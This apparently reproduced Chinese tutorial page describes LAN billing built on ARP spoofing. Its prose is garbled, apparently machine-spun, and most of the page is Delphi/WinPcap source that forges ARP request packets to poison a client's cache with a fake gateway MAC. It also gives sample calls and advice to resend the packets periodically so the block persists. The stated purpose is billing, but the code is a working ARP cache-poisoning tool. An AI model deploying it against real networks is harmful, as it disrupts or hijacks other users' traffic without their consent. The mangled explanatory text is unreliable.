明輝手游網(wǎng)中心:是一個免費(fèi)提供流行視頻軟件教程、在線學(xué)習(xí)分享的學(xué)習(xí)平臺!

使用arp欺騙來完成計費(fèi)技巧

[摘要]早些時候收到了項目的要求, 任何局域網(wǎng)絡(luò)內(nèi)的一臺計算機(jī)上安裝一套計費(fèi)軟件, 其他客戶不必安裝任何軟件, 只要客戶接入線路將能夠發(fā)揮的帳單。 以前接觸到的計費(fèi)軟件是安裝在網(wǎng)關(guān), 或安裝客戶端軟件, ...
早些時候收到了項目的要求, 任何局域網(wǎng)絡(luò)內(nèi)的一臺計算機(jī)上安裝一套計費(fèi)軟件, 其他客戶不必安裝任何軟件, 只要客戶接入線路將能夠發(fā)揮的帳單。 以前接觸到的計費(fèi)軟件是安裝在網(wǎng)關(guān), 或安裝客戶端軟件, 如何實現(xiàn)這樣的功能?有關(guān)研究發(fā)現(xiàn), 使用欺騙ARP協(xié)議的原則才能實現(xiàn)的結(jié)算職能, 原則上是不公開上網(wǎng)功能的客戶端插件線網(wǎng)絡(luò), 第一個禁止在計算機(jī)局域網(wǎng)絡(luò)內(nèi)的互聯(lián)網(wǎng), 如客戶要求管理員, 以開放的互聯(lián)網(wǎng)功能后, 取消對客戶停止并開始計費(fèi)。 ARP協(xié)議欺騙人民不認(rèn)為奇怪, 有很多網(wǎng)上介紹ARP協(xié)議欺騙的文章, 有很多ARP協(xié)議欺騙病毒不會在這里重復(fù)的原則, 欺騙ARP協(xié)議。

       如何防止局部地區(qū)指定的客戶端互聯(lián)網(wǎng)?

阿爾普偽造的要求, 設(shè)置包的機(jī)器停止對ARP表, 這樣的觀點, 網(wǎng)關(guān)MAC地址并不存在作為一個MAC地址, 這樣你就可以阻止機(jī)器上網(wǎng)。

假設(shè)要阻止的計算機(jī)是A, 安裝計費(fèi)軟件的計算機(jī)是B,網(wǎng)關(guān)是C

A機(jī)器  MAC:AA-AA-AA-AA-AA-AA  IP地址:192.168.1.1

B機(jī)器  MAC:BB-BB-BB-BB-BB-BB  IP地址:192.168.1.2

C網(wǎng)關(guān)  MAC:CC-CC-CC-CC-CC-CC  IP地址:192.168.1.253

在網(wǎng)上有好多arp例子都是c的, 我用delphi和Winpcap實現(xiàn)代碼如下:

 

安裝Winpcap, 引用:winsock, Packet32, shellapi單元

類型和常量定義:

type

  TMacAddr = array [0..5] of byte ;

  TEHHDR=packed record

     Ether_Dest: TMacAddr ;  {目的地址 }

     Ether_Src: TMacAddr ;   {源地址 }

     Ether_Type:Word;        {類型 }

  end;

  PEHHDR=^TEHHDR;

  TEtherData=packed record      {Ethernet packet data}

   Ether_hrd:WORD;       {hardware address }

   Ether_pro:WORD; {format of protocol address }

   Ether_hln: byte; {byte length of each hardware address }

   Ether_pln: byte; {byte length of each protocol address}

    Ether_op:WORD; { ARP or RARP }

     Ether_sha:TMacAddr; {hardware address of sender}

     Ether_spa:LongWord; {protocol address of sender}

     Ether_tha:TMacAddr; {hardware address of target}

     Ether_tpa:LongWord;   {protocol address of target}

  end;

  PARPHDR=^TEtherData;

  TARPPACKET=packed record

      EHHDR:Tehhdr;

      EtherData:TEtherData;

   end ;

 PARPPACKET=^TARPPACKET;

const

 INADDR_NONE = $FFFFFFFF;

 EPT_IP  = $0800;

 EPT_ARP = $0806 ;

 EPT_RARP =$8035 ;

 ARP_REPLY =$0002 ;

 ARP_REQUEST =  $0001 ;

 ARP_HARDWARE =$0001 ;

 function inet_addr(const cp: PChar): DWord; stdcall; external 'WS2_32.DLL' name 'inet_addr';

//別人的代碼

function     HexStrtoInt(var   Buf:   string):   dword;

  //將十六進(jìn)制的字符串轉(zhuǎn)成整型

      //判斷是否是十六進(jìn)制數(shù)

      function   IsHexChar(Chr:   char):   boolean;

      begin

          Result   :=   (Chr   in   ['0'..'9'])   or   (Chr   in   ['A'..'F']);

      end;

      //將一個十六進(jìn)制字符轉(zhuǎn)換成數(shù)

      function   HexChrtoInt(Chr:   char):   byte;

      begin

          Result   :=   0;

          case   Chr   of

              '0'..'9'   :   Result   :=   Strtoint(Chr);

              'A'             :   Result   :=   10;

              'B'             :   Result   :=   11;

              'C'             :   Result   :=   12;

              'D'             :   Result   :=   13;

              'E'             :   Result   :=   14;

              'F'             :   Result   :=   15;

          end;

      end;

  var

      BufLength:   dword;

      TempBuf:   string;  

      Count0:   dword;  

  begin

      Result   :=   0;  

      BufLength   :=   Length(Buf);

      TempBuf   :=   '';  

      if   BufLength   >   0   then   begin

          Buf   :=   Uppercase(Buf);  

  //         for   Count0   :=   1   to   BufLength  

          if   BufLength   mod   2   =   1   then   begin  

              Buf   :=   '0'   +   Buf;  

              BufLength   :=   Length(Buf);

          end;

          for   Count0   :=   1   to   BufLength   div   2   do  

              if   IsHexChar(Buf[Count0   *   2   -   1])   then   begin  

                  if   IsHexChar(Buf[Count0   *   2])   then   begin  

                      TempBuf   :=   TempBuf   +   inttostr(HexChrtoInt(Buf[Count0   *   2   -   1])

  *   16   +   HexChrtoInt(Buf[Count0   *   2]));

                  end   else   begin

                      Result   :=   Count0   *   2;  

                      Break;  

                  end;  

              end   else   begin

                  Result   :=   Count0   *   2   -   1;  

                  Break;  

              end;

          if   Result   =   0   then   Buf   :=   TempBuf;

      end;

  end;

//MAC轉(zhuǎn)換

procedure GetMac(s : string;var Mac : TMacAddr);

  var

  hs : string;

  p : integer;

  i,j:integer;

begin

 FillChar (Mac, SizeOf (Mac), 0) ;

  i:=0;

  if Length(s)=0 then

    Exit;

  p:=Pos('-',s);

  while P<>0 do

  begin

    hs:=Copy(s,1,p-1);

    HexStrtoInt(hs);

    Mac[i]:=  strtoint(hs) ;

    Delete(s,1,p);

    p:=Pos('-',s);

    i:=i+1;

  end;

  if Length(s)>0 then

  begin

     HexStrtoInt(s);

     Mac[i]:=strtoint(s);

  end;

end;

 

{禁止上網(wǎng), 發(fā)送arp請求包,這里的C_mac為偽造的C的mac地址}

procedure SendArp(A_ip:string;A_mac:string;B_ip:string;B_mac:string;C_IP:string;C_mac:string);

var

ulMACAddr: TMacAddr;

EHHDR:TEHHDR;

EtherData:TEtherData;

pp:pPacket;

lpAdapter:Padapter;

BUF:Array [0..512] of char ;

begin

    //以太網(wǎng)包首部

    GetMac(A_mac,ulMACAddr);

    Move(ulMACAddr , EHHDR.Ether_Dest,6);//目的地址-A計算機(jī)的地址

    GetMac(C_mac,ulMACAddr);

    Move(ulMACAddr , EHHDR.Ether_Src,6);//偽造的源地址-C計算機(jī)的地址

    EHHDR.Ether_Type  := htons(EPT_ARP);//arp包

   

    //構(gòu)造以太網(wǎng)包數(shù)據(jù)

    EtherData.Ether_hrd := htons(ARP_HARDWARE);

    EtherData.Ether_pro := htons(EPT_IP);

    EtherData.Ether_hln := 6;

    EtherData.Ether_pln := 4;

    EtherData.Ether_op  := htons(ARP_REQUEST);//arp請求包

    GetMac(C_mac,ulMACAddr);

    Move(ulMACAddr , EtherData.Ether_sha,6);

    EtherData.Ether_spa := inet_addr(Pchar(B_IP));  

    GetMac(B_mac,ulMACAddr);

    Move(ulMACAddr , EtherData.Ether_tha,6);

    EtherData.Ether_tpa := inet_addr(Pchar(B_ip));  

     lpAdapter := PacketOpenAdapter('\Device\NPF_{E00872C1-37C0-47CE-8472-313A5A23F896}');  // 根據(jù)

你網(wǎng)卡名字打開網(wǎng)卡, 這是我網(wǎng)卡的設(shè)備名

     fillchar(BUF,sizeof(BUF),0);

     CopyMemory(@BUF,@EHHDR,SIZEOF(EHHDR));

     CopyMemory(Pointer(LongWord(@BUF)+SIZEOF(EHHDR)),@EtherData,SIZEOF(EtherData));

       // 分配內(nèi)存

     pp := PacketAllocatePacket();            

     //初始化結(jié)構(gòu)指針

     PacketInitPacket(pp, @BUF,512);

     //發(fā)arp應(yīng)答包

     PacketSendPacket(lpAdapter, pp, true);

     

     // 釋放內(nèi)存

     PacketFreePacket(pp);

     PacketCloseAdapter(lpAdapter);

end;

//調(diào)用示例

  SendArp('192.168.1.1','AA-AA-AA-AA-AA-AA','192.168.1.2','BB-BB-BB-BB-BB-BB','192.168.1.253','00-00-00-00-00-00');

{解除阻止, 發(fā)送arp應(yīng)答包,這里的C_mac為真實的C的mac地址}

procedure SendArpReply(A_ip:string;A_mac:string;C_ip:string;C_mac:string;B_mac:string);

var

ulMACAddr: TMacAddr;

EHHDR:TEHHDR;

EtherData:TEtherData;

pp:pPacket;

lpAdapter:Padapter;

BUF:Array [0..512] of char ;

begin

    GetMac(A_mac,ulMACAddr);

    Move(ulMACAddr , EHHDR.Ether_Dest,6);

    GetMac(B_mac,ulMACAddr);

    Move(ulMACAddr , EHHDR.Ether_Src,6);

    EHHDR.Ether_Type  := htons(EPT_ARP);

    EtherData.Ether_hrd := htons(ARP_HARDWARE);

    EtherData.Ether_pro := htons(EPT_IP);

    EtherData.Ether_hln := 6;

    EtherData.Ether_pln := 4;

    EtherData.Ether_op  := htons(ARP_REPLY);//arp應(yīng)答包

    GetMac(C_mac,ulMACAddr);

    Move(ulMACAddr , EtherData.Ether_sha,6);

    EtherData.Ether_spa := inet_addr(Pchar(C_ip));  

    GetMac(A_mac,ulMACAddr);

    Move(ulMACAddr , EtherData.Ether_tha,6);

    EtherData.Ether_tpa := inet_addr(Pchar(A_ip));  

     // 根據(jù)自己網(wǎng)卡的設(shè)備名打開網(wǎng)卡

     lpAdapter := PacketOpenAdapter('\Device\NPF_{E00872C1-37C0-47CE-8472-313A5A23F896}');

   

     fillchar(BUF,sizeof(BUF),0);

     CopyMemory(@BUF,@EHHDR,SIZEOF(EHHDR));

     CopyMemory(Pointer(LongWord(@BUF)+SIZEOF(EHHDR)),@EtherData,SIZEOF(EtherData));

     // 分配內(nèi)存

     pp := PacketAllocatePacket();            

     //初始化結(jié)構(gòu)指針

     PacketInitPacket(pp, @BUF,512);

     //發(fā)arp應(yīng)答包

     PacketSendPacket(lpAdapter, pp, true);

     

     // 釋放內(nèi)存

     PacketFreePacket(pp);

     PacketCloseAdapter(lpAdapter);

end;

//調(diào)用示例

 SendArpReply('192.168.1.1','AA-AA-AA-AA-AA-AA','192.168.1.253','CC-CC-CC-CC-CC-CC','BB-BB-BB-BB-BB-BB');

需要注意的是, 發(fā)出偽造的arp請求包過一段時間后會被刷新為正確的, 所以每隔一段時間要向被阻止的機(jī)器發(fā)送一個arp包, 這樣才能達(dá)到阻止上網(wǎng)的目的。


上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識,學(xué)習(xí)了安全知識,幾乎可以讓你免費(fèi)電腦中毒的煩擾。